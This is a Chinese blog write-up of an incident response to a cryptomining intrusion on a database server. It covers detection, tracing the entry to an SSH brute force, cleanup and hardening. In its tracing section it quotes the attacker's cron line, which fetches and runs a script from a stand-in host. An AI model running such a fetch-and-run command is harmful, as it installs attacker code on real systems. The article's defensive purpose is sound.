当前位置: 首页 > news >正文

网络安全运维应急响应与溯源分析实战案例

在日常运维过程中,网络安全事件时有发生,快速响应和精准溯源是保障业务稳定运行的关键。本文将通过一个实际案例,详细解析从发现问题到溯源定位,再到最终解决的完整流程。

目录

一、事件背景

二、事件发现

1. 监控告警触发

2. 初步分析

三、溯源分析

1. 确定入侵源头

四、处置与恢复

1. 立刻阻断攻击者控制

2. 清除恶意程序

3. 服务器加固

五、总结与经验


一、事件背景

某互联网公司运维团队在日常巡检时,发现一台数据库服务器(192.168.1.100)的CPU使用率异常升高,并伴随大量未知进程占用系统资源,同时MySQL的查询响应时间大幅延长。初步判断可能存在异常入侵行为。

二、事件发现

1. 监控告警触发

使用 Zabbix 监控发现:

  • CPU 使用率持续超过 90%(长期稳定在 20% 左右)
  • MySQL QPS/TPS 下降明显,导致应用访问变慢
  • 服务器 磁盘 I/O 高异常

同时,Wazuh SIEM 平台检测到该服务器有异常 SSH 登录记录,涉及多个可疑 IP 地址。

2. 初步分析

(1)服务器资源消耗情况排查

top -c
ps aux --sort=-%cpu | head -10
ps aux --sort=-%mem | head -10

发现多个可疑进程(xmrigkthreadd)在占用大量 CPU 资源,疑似挖矿木马。

(2)网络连接检测

netstat -antp
ss -tunlp
lsof -i

发现多个可疑的远程连接,连接至境外服务器 45.67.X.X:3333,疑似 C&C 服务器。

(3)日志分析

grep "Accepted password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

发现多个异常 SSH 登录记录,部分 IP 源自境外,且短时间内进行了高频登录。

三、溯源分析

1. 确定入侵源头

使用 HIDS(主机入侵检测) 结合 日志分析,溯源入侵行为:

  1. 攻击者利用弱密码暴力破解 SSH 账户(root/root123)
  2. 登录后下载并运行恶意挖矿程序(XMRig)
  3. 修改 crontab 以保持长期控制

检查 SSH 登录记录

last -i | grep "root"

发现 root 账户从多个不明 IP 登录。

检查计划任务

crontab -l
cat /etc/crontab
ls -al /etc/cron.hourly/

发现恶意计划任务,定期下载并运行木马:

wget -qO- http://malicious-site.com/m.sh | bash

查找可疑进程执行路径

which xmrig
ls -l /usr/local/bin/xmrig
strings /usr/local/bin/xmrig

确认该进程为 挖矿程序,并且被设置为开机自启。

四、处置与恢复

1. 立刻阻断攻击者控制

  • 阻止恶意 IP
iptables -A INPUT -s 45.67.X.X -j DROP
firewalld-cmd --permanent --add-rich-rule='rule family="ipv4" source address="45.67.X.X" reject'
  • 禁用 root 远程登录
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd
  • 修改所有账户密码,并启用 SSH 公钥认证

2. 清除恶意程序

  • 杀掉恶意进程
pkill -f xmrig
kill -9 $(pgrep -f xmrig)
  • 删除木马文件
rm -rf /usr/local/bin/xmrig /tmp/malicious.sh /etc/cron.hourly/malicious
  • 检查后门
ls -al /root/.ssh/

发现 authorized_keys 中被植入了攻击者的 SSH 公钥,需删除:

echo "" > /root/.ssh/authorized_keys

3. 服务器加固

  • 开启 fail2ban 防暴力破解
apt install fail2ban -y
systemctl enable fail2ban
  • 设置 SSH 端口为非默认端口
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd
  • 关闭不必要的端口
netstat -tulnp | grep LISTEN
systemctl disable unneeded-service

五、总结与经验

  1. SSH 账户密码要设置足够复杂,避免使用 root 直接登录。
  2. 部署 Wazuh、Fail2ban 等安全工具,实时监控入侵行为。
  3. 定期检查服务器 CPU、内存、I/O 指标,发现异常及时分析。
  4. 建立应急响应预案,形成自动化处置流程。

相关文章:

  • MyBatis 如何创建 SqlSession 对象的?
  • Oracle静默安装方法
  • 再学:abi编码 地址类型与底层调用
  • 烽火HG680-KB_海思HI3798MV310_安卓9.0_U盘强刷固件包及注意点说明
  • C++和标准库速成(五)——C风格的数组、std::array、std::vector、std::pair和std::optional
  • Ruby 命令行选项
  • S32K144入门笔记(十三):LPIT的API函数解读
  • PostgreSQL 权限管理详解
  • 用旧的手机搭建 MQTT Broker-Node_red
  • 音视频入门基础:RTP专题(18)——FFmpeg源码中,获取RTP的音频信息的实现(上)
  • Android第三次面试总结(activity和线程池)
  • 关于deepseek R1模型分布式推理效率分析
  • 【差分约束】P5590 赛车游戏|省选-
  • 微软OneNote无法同步解决方案
  • 模运算专题练习 ——基于罗勇军老师的《蓝桥杯算法入门C/C++》
  • 2025-03-17 Unity 网络基础1——网络基本概念
  • 学习单片机需要多长时间才能进行简单的项目开发?
  • 鸿蒙应用开发--数据埋点的名称由来,发展脉络,典型场景,现代演进的无埋点和智能化埋点//学习时长数据埋点的实现--待更新
  • 如何在 GoLand 中设置默认项目文件夹
  • 树莓派学习:环境配置
  • 浙商银行外部监事高强无法履职:已被查,曾任建行浙江省分行行长
  • 张元济和百日维新
  • 丁俊晖连续7年止步世锦赛16强,中国军团到了接棒的时候
  • 主播说联播丨六部门出台新政!来华买买买,实惠多多多
  • 国内生产、境外“游一圈”再进保税仓,这些“全球购”保健品竟是假进口
  • 5145篇报道中的上海车展:40年,什么变了?